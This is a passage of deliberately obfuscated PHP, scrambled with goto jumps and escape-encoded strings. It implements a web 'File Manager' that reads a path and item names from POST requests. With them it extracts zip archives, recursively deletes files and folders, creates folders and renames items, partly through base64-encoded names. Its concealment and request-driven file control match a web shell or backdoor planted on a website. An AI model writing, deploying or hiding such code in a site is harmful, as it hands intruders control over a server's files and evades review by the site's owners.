y8oUZ: xZUdA: goto ptdGR; abTpQ: $XaBbH->extractTo(dirname($iwvTq)); goto Eaque; Eaque: goto CX4bU; goto KYVBk; E4zZs: goto eOGYS; goto wL8ZQ; rHuDy: goto DbUTu; goto M3TYr; nlGFL: goto T249M; goto WoYKa; v6_Y5: goto TLgDW; goto qTT12; YS3YG: goto kYHD_; goto JFAic; Jg8pU: hfvOt: goto GckGy; SJw20: AKFIU: goto fkMMR; pnE3L: goto chbsN; goto wvGFH; NjD0P: goto ZL3PT; goto pWRi1; boMew: goto uGXU0; goto SRWvi; otntC: if (!UBPoW($cHCRi)) { goto RSxJx; } goto kYRCK; Qlztd: throw new Exception("\111\156\166\141\154\x69\x64\40\160\x61\164\x68\56"); goto v6_Y5; e78i9: goto hTHSg; goto M8DtJ; yxNTM: ab7bP: goto abTpQ; qTT12: htAUf: goto Yj8co; semet: LBMsd: goto cJYe8; Wuzma: eOGYS: goto aC1tv; WoYKa: yBNJ9: goto aFtgI; b5t6r: goto LBMsd; goto xbX41; aC1tv: if (!realpath($iwvTq) || !is_file(realpath($iwvTq)) || pathinfo($iwvTq, PATHINFO_EXTENSION) !== "\x7a\x69\160") { goto hfvOt; } goto u19qb; jAVLo: if (!class_exists("\132\151\x70\x41\x72\143\x68\x69\166\145")) { goto b3BQ7; } goto pnE3L; o0qO2: EPQBu: goto g2k6v; M3TYr: t2jDG: goto Fz2Sj; vDjJG: $iwvTq = isset($_POST["\160\141\164\x68"]) ? jGQow($_POST["\x70\x61\164\x68"]) : ''; goto E4zZs; ptdGR: kYHD_: goto MLmKr; Qi5eW: $XaBbH->close(); goto pDNqb; u19qb: goto ByBNA; goto Jg8pU; BcebR: DbUTu: goto DUveX; JFAic: goto htAUf; goto BcebR; pWRi1: Ah0MU: goto Fa6oK; ml29K: goto TLSjX; goto EymkM; cJYe8: chbsN: goto NjD0P; Qmivo: ByBNA: goto ml29K; pDNqb: goto Ah0MU; goto o0qO2; KYVBk: TLSjX: goto jAVLo; nXbZS: TLgDW: goto b592K; KsMMl: goto ab7bP; goto semet; GckGy: goto Cn5Kj; goto j1vlX; MLmKr: goto agsio; goto aiYtj; UFoob: CX4bU: goto Qi5eW; olTmz: goto t2jDG; goto y8oUZ; aiYtj: uGXU0: goto otntC; b592K: zKwY0: goto e78i9; EymkM: EbFg5: goto GkMDv; kYRCK: goto zKwY0; goto UgEbQ; Fz2Sj: $cHCRi = isset($_POST["\x70\141\x74\x68"]) ? JGqoW($_POST["\160\x61\164\x68"]) : __DIR__; goto boMew; GkMDv: case "\144\145\x6c\145\164\145": goto K8Ud3; r9MYu: if (empty($qFX2i)) { goto V0ftu; } goto kal2I; fRvii: goto mmkZ6; goto mBkhr; ipGD_: V0ftu: goto Nk2Vh; ObHqG: PICd6: goto SWuyy; wVSvM: XZUSF: goto bul_P; eDOiT: jVSaz: goto tREBa; tMFs5: k82ey: goto TRSo6; GZ3lf: lNExu: goto KQPuv; fW5ug: uICgt: goto cxWcr; N8K_4: mmkZ6: goto SDQeb; kal2I: goto lNExu; goto ipGD_; Pv1Lp: goto YgYjY; goto t8ZOp; TRSo6: $cHCRi = isset($_POST["\160\141\x74\x68"]) ? jgqoW($_POST["\x70\141\x74\x68"]) : __DIR__; goto fRvii; tREBa: oiuDa: goto PIE_w; SDQeb: $qFX2i = isset($_POST["\151\x74\x65\x6d\x73"]) && is_array($_POST["\x69\x74\145\155\163"]) ? $_POST["\x69\164\145\x6d\163"] : []; goto cdW2_; uNSXQ: goto okGTz; goto VemP8; X9Bpv: YtqHK: goto A3O56; Nk2Vh: goto j6yJ0; goto tMFs5; cdW2_: goto gjkQv; goto wVSvM; KQPuv: goto YtqHK; goto N8K_4; NrdKL: gjkQv: goto r9MYu; bul_P: $YQ0h3 = ["\x73\x75\x63\143\145\x73\163" => true, "\x6d\145\x73\163\141\x67\145" => "\x49\x74\x65\x6d\163\40\144\x65\154\145\x74\x65\144\x2e"]; goto laLCq; t8ZOp: goto PICd6; goto ObHqG; mBkhr: j6yJ0: goto vCFt1; K8Ud3: goto k82ey; goto eDOiT; XJFW2: Yh_Ik: goto Pv1Lp; vCFt1: throw new Exception("\x4e\x6f\40\151\164\x65\155\163\40\x73\x65\154\x65\143\164\x65\144\40\146\x6f\162\x20\144\145\154\145\x74\x69\x6f\x6e\56"); goto xMXuP; laLCq: goto Yh_Ik; goto NrdKL; yACix: foreach ($qFX2i as $WjQOM) { goto coZYr; NdglI: MkJWz: goto ByaYx; oFLRN: y1A1H: goto Nj9lP; WckMA: goto MkJWz; goto H6Gr8; Qr3wM: goto XHY14; goto RGRcZ; coZYr: goto veLHS; goto qIhZz; H6Gr8: XHY14: goto d4bPu; m7AsE: goto zkgXl; goto oFLRN; uBLnT: $rYUFk = rtrim($cHCRi, "\x2f") . "\x2f" . $WjQOM; goto DfjDj; qIhZz: veLHS: goto uBLnT; dxTR8: goto nUhpO; goto MaC24; DfjDj: goto y1A1H; goto NdglI; K1Dck: zkgXl: goto AR_PO; ByaYx: nUhpO: goto m7AsE; AR_PO: P_LT7: goto Qr3wM; d4bPu: gKmNg: goto HJql_; l1scO: yaYcO($rYUFk); goto WckMA; Nj9lP: if (file_exists($rYUFk)) { goto r_LIk; } goto dxTR8; RGRcZ: amp_1: goto l1scO; MaC24: r_LIk: goto pJMLx; pJMLx: goto amp_1; goto K1Dck; HJql_: } goto fW5ug; A3O56: function yayCo($WjQOM) { goto eZbNL; mJBJS: return unlink($WjQOM); goto XAQGr; fu8dC: goto LZCpP; goto WyqFf; VtErp: XnPEn: goto IoHJe; WyqFf: EzvDQ: goto ERjYZ; HCbkX: n2PUn: goto FfBzA; FfBzA: goto ygkEU; goto pDltn; eZbNL: goto bC12v; goto cFjCC; IoHJe: foreach ($Ki100 as $VQtKz) { goto dgzab; dgzab: yaYcO("{$WjQOM}\x2f{$VQtKz}"); goto ojFcZ; tLXv2: I8EgH: goto fI_sm; ojFcZ: AyD3i: goto tLXv2; fI_sm: } goto MgDIL; M4VbB: dP38K: goto Pjq9K; ptOex: ZNrkO: goto QXZN0; HX8PF: goto XnPEn; goto EA_y6; pQ_AK: goto n2PUn; goto njI22; ERjYZ: $Ki100 = array_diff(scandir($WjQOM), ["\56", "\x2e\56"]); goto HX8PF; pDltn: KSD46: goto mJBJS; DIHf_: if (!is_dir($WjQOM)) { goto inLVq; } goto vIhyv; Q9qJQ: ygkEU: goto xbtk3; cFjCC: exhNo: goto pQ_AK; u1cb_: h7W0l: goto ovtTr; TZ2uK: goto EzvDQ; goto Q9qJQ; JH45D: goto KSD46; goto rYStq; Pjq9K: return rmdir($WjQOM); goto fu8dC; njI22: goto h7W0l; goto VtErp; rYStq: OeKcH: goto ptOex; QXZN0: goto dP38K; goto u1cb_; ovtTr: Fxk0a: goto TZ2uK; vIhyv: goto Fxk0a; goto jxp9D; MgDIL: RoaJn: goto DVXNj; VFGrs: bC12v: goto DIHf_; EA_y6: LZCpP: goto HCbkX; XAQGr: goto exhNo; goto VFGrs; DVXNj: goto OeKcH; goto M4VbB; jxp9D: inLVq: goto JH45D; xbtk3: } goto uNSXQ; VemP8: omT4o: goto GZ3lf; PIE_w: goto XZUSF; goto o0CiO; xMXuP: goto omT4o; goto XJFW2; cxWcr: goto jVSaz; goto X9Bpv; o0CiO: okGTz: goto yACix; SWuyy: case "\x64\145\154\145\164\x65\137\142\x36\64": goto lkb22; ADN0d: wGVQ4: goto EcZAl; o1v09: goto RuhNI; goto ADN0d; tLykc: h_IPg: goto GsiAJ; rwPje: goto m157p; goto hSuOK; Jkqg0: throw new Exception("\116\x6f\40\x69\x74\145\155\163\40\x73\145\x6c\x65\x63\x74\145\x64\40\x66\x6f\162\40\x64\145\154\145\164\x69\x6f\156\56"); goto IJYFn; XG2M7: KqqRt: goto Ob8GP; DoJU3: GeA1G: goto PalW5; lMST2: m157p: goto Jkqg0; upWW4: q8BCe: goto o1v09; QgSjE: $TwYmS = isset($_POST["\x69\164\x65\x6d\x73\x5f\142\66\x34"]) && is_array($_POST["\x69\x74\145\155\163\137\142\x36\64"]) ? $_POST["\151\164\145\x6d\163\x5f\142\66\x34"] : []; goto D4ojS; USOWG: goto MTso6; goto YUmNI; hSuOK: nR1pz: goto Vw3jt; zNrrX: yQD71: goto vXfaj; YUmNI: E5vLm: goto OSTUJ; pFfjT: ZXzH9: goto ghxLQ; X30z2: goto yQD71; goto VVi1i; HJv5_: goto wGVQ4; goto HU_Xp; dyjSV: goto JRQON; goto pFfjT; msRZG: MwCj6: goto rwPje; zUdpj: goto ZXzH9; goto LIh6U; vXfaj: function FOeaO($WjQOM) { goto naod5; F05EE: goto nHTXh; goto faHVG; vItwP: goto A8qRA; goto k73YE; k73YE: i4q36: goto Wm5QJ; lM3AZ: nHTXh: goto p6_o3; IhQ5D: Nuo8d: goto mfbH2; gBZ27: e3Vpf: goto ba68H; Wm5QJ: foreach ($Ki100 as $VQtKz) { goto Jvmrv; xxviy: ItANo: goto HW9Gn; Jvmrv: foeAo("{$WjQOM}\57{$VQtKz}"); goto TzHIr; TzHIr: V0bl2: goto xxviy; HW9Gn: } goto gBZ27; ba68H: goto o3lp4; goto lM3AZ; JGp0G: o3lp4: goto TbEXm; TbEXm: NrDpb: goto wta4c; NIz6l: gghE1: goto pYC_O; AbD01: return unlink($WjQOM); goto VUlKt; LAxGG: goto dLqiF; goto F05EE; oz7mP: goto Nuo8d; goto O7W1f; pYC_O: if (!is_dir($WjQOM)) { goto MuG6f; } goto zO8jH; eLAEP: cg0rf: goto LAxGG; p6_o3: fJUTf: goto aFf38; DAOO6: return rmdir($WjQOM); goto vItwP; VUlKt: goto cg0rf; goto IhQ5D; O7W1f: HmxUv: goto AbD01; I2iaL: goto i4q36; goto mh77w; gWyDz: goto HmxUv; goto GWEkv; Io3U8: dLqiF: goto oz7mP; zO8jH: goto fJUTf; goto V1bTq; wta4c: goto oRRVY; goto eLAEP; C3vGo: $Ki100 = array_diff(scandir($WjQOM), ["\56", "\56\56"]); goto I2iaL; faHVG: A8qRA: goto Io3U8; aFf38: goto g6iUm; goto JGp0G; mh77w: oRRVY: goto DAOO6; GWEkv: g6iUm: goto C3vGo; V1bTq: MuG6f: goto gWyDz; naod5: goto gghE1; goto NIz6l; mfbH2: } goto n152a; uMCp5: MTso6: goto QgSjE; iB4Zy: if (empty($qFX2i)) { goto MwCj6; } goto s7OQu; D4ojS: goto h774d; goto Hh9BB; KKj_j: goto AChab; goto DoJU3; BsDcI: h774d: goto S299z; al3Dc: xMybM: goto pYbts; Hh9BB: AChab: goto VjTAd; GsiAJ: goto bXCP0; goto uMCp5; n152a: goto nR1pz; goto BsDcI; PalW5: $YQ0h3 = ["\163\x75\x63\x63\x65\x73\163" => true, "\x6d\x65\x73\163\141\x67\x65" => "\111\x74\145\x6d\x73\40\x64\145\154\x65\x74\145\x64\56"]; goto HJv5_; EcZAl: goto YgYjY; goto KKj_j; S299z: $qFX2i = []; goto zUdpj; LIh6U: bXCP0: goto upWW4; s7OQu: goto oX1Qh; goto msRZG; IJYFn: goto E5vLm; goto XG2M7; Ob8GP: $cHCRi = isset($_POST["\160\141\164\150"]) ? JGqOW($_POST["\x70\141\164\150"]) : __DIR__; goto USOWG; ghxLQ: foreach ($TwYmS as $qV8Yt) { goto BSq38; BSq38: $qFX2i[] = base64_decode($qV8Yt); goto gJNrz; Np7QU: QeY5i: goto mUw9B; gJNrz: gimtd: goto Np7QU; mUw9B: } goto tLykc; lkb22: goto KqqRt; goto lMST2; OSTUJ: oX1Qh: goto X30z2; VVi1i: JRQON: goto al3Dc; pYbts: goto GeA1G; goto zNrrX; NwlNa: lZlXu: goto dyjSV; Vw3jt: foreach ($qFX2i as $WjQOM) { goto KYTiT; u44U2: goto j5Ijd; goto wYHK4; FpB3h: d9qpb: goto B3CKR; KYTiT: goto Tgc0z; goto aKXen; OW743: Tgc0z: goto xi12u; wYHK4: W4oPl: goto RnZFx; RnZFx: goto x3beo; goto mzjnz; JxyLW: cPL4m: goto ez8yl; MlVnt: goto uSyGZ; goto OW743; Rz44_: j5Ijd: goto XWcv7; xi12u: $rYUFk = rtrim($cHCRi, "\x2f") . "\57" . $WjQOM; goto hZPC8; vrYt9: FOEAO($rYUFk); goto MlVnt; XWcv7: goto l5HCk; goto nO12W; B3CKR: goto VJ091; goto aEX2K; hXhjU: if (file_exists($rYUFk)) { goto W4oPl; } goto u44U2; aEX2K: x3beo: goto vrYt9; NUdCT: uSyGZ: goto Rz44_; hZPC8: goto TpcNe; goto NUdCT; mzjnz: VJ091: goto JxyLW; aKXen: l5HCk: goto FpB3h; nO12W: TpcNe: goto hXhjU; ez8yl: } goto NwlNa; HU_Xp: RuhNI: goto iB4Zy; VjTAd: case "\143\162\145\x61\x74\x65\137\x66\x6f\154\144\145\162": goto uGoLt; Lfl1h: Q7JgD: goto kThaN; E6Jnr: goto Q7JgD; goto qGebp; X4mls: o9NgQ: goto lTvgd; cMjN9: goto ODinQ; goto Lfl1h; CJEl1: TscvL: goto eknSk; HcvSa: zwl7G: goto kqCKv; EMzT3: goto MzrAe; goto h0GXN; XdD27: if (!ubPow($cHCRi) || empty($x1aV8)) { goto o9NgQ; } goto YP4lx; p2pxH: goto nlusA; goto wl4Kq; qGebp: uKCTp: goto XdD27; bXV1N: VEEL3: goto NuEWk; ojxIA: nlusA: goto r49jc; YP4lx: goto zwl7G; goto X4mls; lTvgd: goto OFmtD; goto ojxIA; x4nuX: goto ppKQv; goto zxXyb; NOqZ9: throw new Exception("\x43\x6f\165\x6c\x64\40\x6e\x6f\164\40\x63\162\145\141\x74\145\40\x66\x6f\154\x64\145\162\56"); goto EMzT3; VZPGe: goto n1L22; goto fjoNO; uGoLt: goto ob2Fa; goto thice; iEx2y: throw new Exception("\111\x6e\x76\141\x6c\151\144\x20\x70\x61\x74\x68\x20\x6f\x72\x20\x66\x6f\154\144\145\x72\40\x6e\x61\x6d\x65\56"); goto VZPGe; XrXzX: zSG5h: goto cMjN9; XtveU: $cHCRi = isset($_POST["\x70\141\164\x68"]) ? jGQOW($_POST["\x70\141\164\x68"]) : __DIR__; goto d0EjL; kThaN: ppKQv: goto SVLvH; kqCKv: goto VEEL3; goto lq8m1; NuEWk: if (!mkdir(rtrim($cHCRi, "\x2f") . "\57" . $x1aV8)) { goto zSG5h; } goto l4PrG; zxXyb: goto TscvL; goto CJEl1; BqOEk: $YQ0h3 = ["\163\x75\x63\143\x65\163\163" => true, "\x6d\145\x73\x73\141\147\145" => "\106\157\x6c\x64\x65\162\40\143\162\x65\x61\164\x65\144\56"]; goto E6Jnr; eknSk: aDjxR: goto O7DJt; thice: ob2Fa: goto XtveU; UHbLL: goto uKCTp; goto UOOsD; lq8m1: Vwl_n: goto BqOEk; UOOsD: OFmtD: goto iEx2y; p5z8A: vD5G7: goto ff7FC; SVLvH: goto sN8sM; goto p5z8A; l4PrG: goto aDjxR; goto XrXzX; i4IVo: goto YgYjY; goto p2pxH; wl4Kq: n1L22: goto HcvSa; O7DJt: goto Vwl_n; goto PdXtQ; h0GXN: sN8sM: goto i4IVo; d0EjL: goto vD5G7; goto bXV1N; PdXtQ: ODinQ: goto NOqZ9; ff7FC: $x1aV8 = isset($_POST["\156\141\x6d\145"]) ? str_replace(["\56\x2e", "\x2f", "\134"], '', $_POST["\x6e\141\x6d\145"]) : ''; goto UHbLL; fjoNO: MzrAe: goto x4nuX; r49jc: case "\162\x65\156\x61\x6d\x65": goto dA1HM; t1N3U: qk35a: goto Qf48w; S1duI: goto E28vj; goto TnZoE; N9fMH: XjVqR: goto RYqFD; UcwXP: if (!is_writable(dirname($I4iQ6))) { goto N5yyc; } goto G4yLZ; Vphdh: qkcDZ: goto cN21Y; BxdOU: iovlv: goto gkvvf; FEOst: goto SMqdA; goto ipaBI; j2g49: goto rgGHA; goto zb43R; tnrMC: goto qkcDZ; goto sLkIJ; i_2zT: goto SxRwS; goto N9fMH; mGB8y: GODgy: goto UT34D; xxSP7: throw new Exception("\103\x6f\x75\x6c\x64\40\156\x6f\x74\40\x72\145\x6e\x61\155\x65\40\x69\164\x65\155\x2e\x20\103\150\x65\x63\153\40\160\x65\162\x6d\151\x73\x73\151\x6f\x6e\x73\56"); goto q5x3i; aVCHi: goto F96K2; goto vHg9e; f2HGP: DD5ds: goto A8GuQ; WAzLb: Ubhwp: goto N19oi; Qv__I: goto JP4y1; goto BxdOU; cN21Y: VO2Bo: goto aVCHi; t6Jt1: goto j9UD4; goto mGB8y; oLgkR: if (!UBpoW($cHCRi) || empty($Z7o8z) || empty($u3nWK)) { goto Ubhwp; } goto FR8aY; E7SXo: goto yZeAt; goto ftuyW; xZrPo: goto VO2Bo; goto vEA9E; vAgqj: goto saqva; goto NcIGc; vEA9E: goto adpf6; goto cKxR3; c9pRs: JP4y1: goto xxSP7; XBVbP: vO0Vs: goto YTI64; qQgX0: $Z7o8z = isset($_POST["\x6f\x6c\x64\x5f\x6e\141\x6d\x65"]) ? $_POST["\x6f\154\144\x5f\156\141\x6d\145"] : ''; goto vAgqj; zb43R: iitKY: goto Qv__I; YTI64: goto qk35a; goto OJp08; esNiy: goto apgUu; goto KoYhn; aCErv: if (!file_exists($I4iQ6)) { goto aqfnh; } goto LcQ58; COaqP: N5yyc: goto MqH45; eMRZ8: aFgkO: goto S1duI; gkvvf: clearstatcache(); goto iH0PM; LcQ58: goto DD5ds; goto n9IwG; ipaBI: P7D5j: goto TEFgm; bjMOF: $I4iQ6 = rtrim($cHCRi, "\57") . "\x2f" . $Z7o8z; goto gCBhM; OJp08: saqva: goto HutPQ; MqH45: goto XjVqR; goto vmyDy; G4yLZ: goto vO0Vs; goto COaqP; j30oA: E28vj: goto bjMOF; sLkIJ: j_CHe: goto XATiC; c6z41: goto YgYjY; goto ztfNQ; BKjJb: adpf6: goto K0Hh8; PxiOO: goto IH3EE; goto OyGk2; KoYhn: F96K2: goto c6z41; ibBbn: throw new Exception("\x53\157\165\x72\143\x65\40\151\x74\x65\x6d\40\144\157\145\x73\40\x6e\157\164\40\145\170\x69\x73\164\40\141\164\x3a\40" . $I4iQ6); goto i_2zT; FR8aY: goto aFgkO; goto WAzLb; vHg9e: IH3EE: goto XBVbP; XATiC: $cHCRi = isset($_POST["\x70\141\x74\150"]) ? JGQoW($_POST["\x70\x61\x74\150"]) : __DIR__; goto FEOst; NcIGc: SxRwS: goto f2HGP; phNuz: SMqdA: goto qQgX0; OyGk2: Pc2Hz: goto aCErv; k3sNB: $YQ0h3 = ["\163\165\143\143\x65\x73\163" => true, "\x6d\145\x73\163\x61\x67\x65" => "\111\x74\x65\155\x20\x72\x65\156\x61\155\x65\x64\x20\x73\165\143\143\x65\x73\x73\146\165\154\x6c\x79\56"]; goto tnrMC; Qf48w: if (!rename($I4iQ6, $dCT1_)) { goto iitKY; } goto j2g49; iH0PM: goto Pc2Hz; goto Vphdh; GcuAV: goto iovlv; goto phNuz; Nyc_L: yr69J: goto xZrPo; gCBhM: goto Uyhub; goto YozIh; cKxR3: Uyhub: goto t_JZa; A8GuQ: goto PEJq0; goto FtQ3b; qV1iR: goto qNHHi; goto j30oA; n9IwG: aqfnh: goto esNiy; q5x3i: goto yr69J; goto BKjJb; t_JZa: $dCT1_ = rtrim($cHCRi, "\x2f") . "\x2f" . $u3nWK; goto GcuAV; HutPQ: $u3nWK = isset($_POST["\156\x65\x77\137\x6e\x61\x6d\145"]) ? str_replace(["\56\56", "\x2f", "\134"], '', $_POST["\156\145\167\x5f\156\141\155\145"]) : ''; goto qV1iR; ztfNQ: goto P7D5j; goto c9pRs; RYqFD: throw new Exception("\x44\151\x72\x65\143\x74\x6f\162\x79\40\151\163\40\x6e\x6f\x74\40\167\x72\151\164\141\142\x6c\145\56"); goto PxiOO; UT34D: throw new Exception("\111\x6e\166\141\x6c\x69\144\x20\144\141\x74\x61\x20\146\157\x72\40\162\x65\x6e\x61\155\x69\156\x67\x2e"); goto E7SXo; dA1HM: goto j_CHe; goto Nyc_L; vmyDy: j9UD4: goto k3sNB; YozIh: PEJq0: goto UcwXP; ftuyW: qNHHi: goto oLgkR; FtQ3b: yZeAt: goto eMRZ8; TnZoE: apgUu: goto ibBbn; N19oi: goto GODgy; goto t1N3U; K0Hh8: rgGHA: goto t6Jt1; TEFgm: case "\x72\x65\x6e\x61\155\x65\137\142\66\x34": goto uoBD9; jp6n4: SVVBA: goto LuDFL; si412: unlink($yfPeq); goto tpfk2; m0JHA: goto iM3f3; goto BBoGD; h2YGW: $l742R = isset($_POST["\x6e\145\x77\137\x6e\141\155\x65\x5f\142\66\x34"]) ? $_POST["\x6e\x65\x77\x5f\x6e\141\155\145\x5f\142\x36\x34"] : ''; goto K_wzn; BBoGD: DoXnj: goto wp9BY; LuDFL: goto fzoEG; goto KxlBQ; XoZce: a6b16: goto Js_D8; RiECs: gJyMO: goto TaX4R; ANsiY: goto Y6U07; goto jp6n4; fZcK8: pw7K0: goto Z19qW; l_H6H: goto ZZwJa; goto c94zO; yHsKn: va7Zn: goto QVzq3; FxXFf: veMcG: goto lrTax; IWyl0: goto Ns3z1; goto XoZce; TaX4R: throw new Exception("\103\x6f\x75\154\x64\40\x6e\157\164\x20\143\162\x65\141\164\x65\40\164\x65\155\x70\157\x72\x61\x72\171\x20\143\157\x70\x79\56"); goto znXkU; njGeW: cUu2j: goto iB4ew; b3eQO: Y6U07: goto IWyl0; Jvrav: ViOr4: goto a6g5p; dp_pz: throw new Exception("\103\x6f\x75\154\x64\40\x6e\x6f\164\x20\144\145\x6c\145\164\x65\40\x6f\162\151\147\151\156\141\154\x20\146\151\x6c\145\x2e"); goto dJchm; CETnL: goto dRiM7; goto a22Lm; nTxPW: goto ScBg4; goto BuoOU; s1stM: goto BFDuw; goto aakPG; JI7SX: eIQht: goto b3eQO; HsIYO: g7uqG: goto FFi0d; hTMiD: $u3nWK = base64_decode($l742R); goto kmUuV; KxlBQ: NaeGM: goto v00aH; yaQTw: zT3vz: goto djF12; djF12: $cHCRi = isset($_POST["\160\x61\164\x68"]) ? JgQOW($_POST["\160\x61\164\x68"]) : __DIR__; goto CETnL; xg6CU: RvVx3: goto N5Xi6; v00aH: if (!unlink($I4iQ6)) { goto RvVx3; } goto pN4wR; JQGyf: ZZwJa: goto UODMM; pN4wR: goto veMcG; goto xg6CU; ZE_kV: iM3f3: goto g_nhB; hMauf: goto i0Btz; goto QUjTI; b7brF: a98SM: goto Z3K3t; GHqRt: XMwdm: goto hTMiD; kmUuV: goto a98SM; goto GB21Y; oNW2g: rWKQ4: goto q7Kdv; cWQ1o: goto NaeGM; goto ZE_kV; znXkU: goto rWKQ4; goto b7brF; g_nhB: if (!copy($I4iQ6, $yfPeq)) { goto pw7K0; } goto Zuodi; kuoM7: CBIrZ: goto si412; JaVS9: throw new Exception("\x49\156\x76\x61\154\151\144\40\144\141\x74\x61\x20\x66\x6f\x72\x20\162\x65\156\x61\155\151\156\147\x2e"); goto hzJTo; Z19qW: goto gJyMO; goto Gbocx; VLdaH: goto a6b16; goto yHsKn; QVzq3: unlink($yfPeq); goto ZcBO2; dJchm: goto oxmJI; goto kuoM7; Ik7P8: $I4iQ6 = rtrim($cHCRi, "\x2f") . "\57" . $Z7o8z; goto GNtbe; Z3K3t: if (!UBpow($cHCRi) || empty($Z7o8z) || empty($u3nWK)) { goto SVVBA; } goto ANsiY; GNtbe: goto yfB_h; goto JI7SX; FUooK: goto XMwdm; goto s3MBm; XQtSm: throw new Exception("\x43\x6f\165\154\144\x20\156\157\164\40\x70\145\162\x66\157\162\155\x20\x66\x69\x6e\141\154\40\x72\145\x6e\x61\x6d\x65\56\40\x4f\162\151\147\x69\156\141\x6c\x20\x66\x69\154\x65\x20\155\x61\x79\x20\142\x65\x20\162\x65\163\164\x6f\162\x65\144\x2e"); goto EvKqW; GB21Y: ScBg4: goto N5iOZ; qEw4G: goto g7uqG; goto oNW2g; QUjTI: Uar1T: goto ER4GN; uoBD9: goto zT3vz; goto xDSKM; ZcBO2: goto K9v0L; goto GHqRt; EvKqW: goto Uar1T; goto JQGyf; K_wzn: goto DoXnj; goto RiECs; lrTax: goto DaX77; goto HsIYO; u8TMx: ZrGsE: goto XQtSm; UODMM: BFDuw: goto VLdaH; tpfk2: goto ZrGsE; goto oV0es; oDgJY: copy($yfPeq, $I4iQ6); goto TDLoT; SZeEp: if (!rename($yfPeq, $dCT1_)) { goto DVL_3; } goto s1stM; Edm1D: q_MDH: goto oDgJY; Gbocx: DaX77: goto SZeEp; oV0es: dRiM7: goto mCq4c; Js_D8: $YQ0h3 = ["\163\165\143\x63\145\x73\163" => true, "\x6d\x65\163\163\141\x67\x65" => "\x49\164\x65\155\x20\162\x65\x6e\141\x6d\x65\144\40\x73\x75\x63\143\145\163\163\x66\165\154\154\171\40\x75\x73\151\156\x67\x20\x62\x36\x34\x20\155\145\x74\150\157\x64\x2e"]; goto R0rTa; FFi0d: $yfPeq = $I4iQ6 . "\x2e\x74\170\x74"; goto m0JHA; s3MBm: Ns3z1: goto Ik7P8; q7Kdv: Dsne_: goto cWQ1o; iB4ew: GJU6Q: goto gYKyb; ER4GN: goto GJU6Q; goto l_H6H; Zuodi: goto Dsne_; goto fZcK8; a22Lm: oxmJI: goto FxXFf; BuoOU: K9v0L: goto dp_pz; c94zO: i0Btz: goto h2YGW; gYKyb: goto ViOr4; goto t9pkR; dxQYg: goto q_MDH; goto Jvrav; R0rTa: goto cUu2j; goto u8TMx; hzJTo: goto eIQht; goto yaQTw; xDSKM: yfB_h: goto I9lLJ; aakPG: DVL_3: goto dxQYg; N5Xi6: goto va7Zn; goto Edm1D; I9lLJ: $dCT1_ = rtrim($cHCRi, "\x2f") . "\57" . $u3nWK; goto qEw4G; wp9BY: $Z7o8z = base64_decode($kM2cD); goto FUooK; a6g5p: goto YgYjY; goto nTxPW; mCq4c: $kM2cD = isset($_POST["\157\154\144\x5f\x6e\x61\x6d\x65\x5f\142\66\64"]) ? $_POST["\x6f\x6c\144\x5f\156\x61\x6d\145\x5f\142\x36\x34"] : ''; goto hMauf; TDLoT: goto CBIrZ; goto njGeW; t9pkR: fzoEG: goto JaVS9; N5iOZ: } goto SqdG9; BV2tH: goto oXCA2; goto z27nu; SqdG9: p0CXm: goto hJLWK; gJbpx: KCHI0: goto SnbHB; SnbHB: goto rpWEF; goto nneZU; MyZ94: goto lyy4h; goto SCsgH; HPC39: goto KoYV2; goto U3L1J; SCsgH: rpWEF: goto OC5D6; U3L1J: KoYV2: goto cvE1v; waTRI: } catch (Exception $mo7Jc) { $YQ0h3 = ["\163\165\x63\x63\145\163\x73" => false, "\155\145\x73\x73\x61\x67\145" => $mo7Jc->getMessage()]; } goto GMF14; cJp7g: echo "\x3c\41\104\x4f\103\124\x59\x50\105\x20\150\164\155\x6c\x3e\xa\74\150\x74\x6d\154\40\154\141\156\x67\x3d\x22\145\156\42\x3e\xa\x3c\150\145\x61\x64\x3e\xa\x20\x20\40\40\x3c\x6d\145\x74\x61\x20\143\150\141\x72\x73\145\x74\75\42\125\124\106\x2d\x38\42\x3e\x3c\x74\x69\164\154\145\x3e\x46\x69\x6c\x65\x20\x4d\x61\156\141\x67\x65\162\x3c\57\x74\x69\164\154\x65\x3e\x3c\155\145\x74\x61\40\x6e\x61\x6d\x65\75\42\166\151\145\167\x70\157\162\164\42\x20\143\x6f\x6e\164\145\x6e\x74\x3d\42\x77\151\x64\164\150\x3d\144\x65\x76\x69\143\x65\x2d\167\x69\144\x74\x68\54\x20\151\156\x69\164\x69\141\x6c\55\x73\x63\141\154\145\75\61\56\x30\x22\76\xa\40\40\x20\40\x3c\163\x74\x79\154\145\76\12\40\40\x20\x20\40\40\x20\x20\72\x72\157\157\164\173\x2d\55\141\143\x63\145\x6e\164\x2d\x63\x6f\x6c\x6f\162\x3a\43\62\62\67\x31\x62\x31\73\55\x2d\x68\157\166\145\x72\x2d\x63\157\x6c\x6f\x72\72\x23\x31\145\x36\65\71\x64\x3b\x2d\55\144\x61\x6e\147\145\x72\55\x63\x6f\154\157\x72\x3a\x23\x64\66\63\x36\x33\70\x3b\175\12\40\x20\40\x20\x20\40\40\x20\142\x6f\x64\x79\x7b\146\157\x6e\164\55\146\141\x6d\151\x6c\171\72\55\141\x70\160\x6c\x65\55\163\171\x73\164\x65\x6d\54\102\x6c\151\x6e\153\x4d\x61\143\123\171\163\164\145\x6d\106\x6f\156\x74\54\42\123\x65\147\x6f\145\x20\x55\x49\x22\54\x52\x6f\142\157\x74\x6f\54\x4f\x78\x79\x67\145\x6e\x2d\123\141\156\163\54\x55\142\x75\156\164\x75\54\x43\141\x6e\x74\x61\x72\x65\154\154\54\42\x48\145\154\x76\x65\164\151\143\141\40\116\145\165\145\x22\54\163\141\x6e\x73\55\163\x65\x72\x69\x66\x3b\142\141\x63\x6b\147\162\x6f\x75\x6e\x64\x3a\43\x66\60\x66\x30\x66\x31\x3b\x6d\141\x72\147\x69\x6e\x3a\x30\73\x7d\xa\x20\x20\40\40\40\x20\x20\x20\56\143\x6f\156\x74\x61\151\156\145\x72\173\144\x69\163\160\154\141\171\x3a\x66\154\145\170\73\x66\154\145\170\x2d\x64\151\162\x65\x63\164\x69\x6f\x6e\72\x63\x6f\x6c\165\155\x6e\73\x68\x65\x69\x67\x68\x74\72\x31\x30\x30\x76\x68\73\175\150\145\141\x64\145\162\x7b\x62\x61\143\153\147\162\157\x75\156\x64\x3a\x23\146\146\146\73\160\141\144\x64\151\x6e\147\72\61\x30\x70\x78\40\62\x30\160\x78\x3b\x62\x6f\x72\144\145\162\x2d\142\x6f\x74\164\157\x6d\x3a\61\x70\170\40\x73\x6f\154\151\144\40\43\x64\x64\x64\73\x64\x69\163\x70\154\141\x79\72\146\x6c\x65\170\73\152\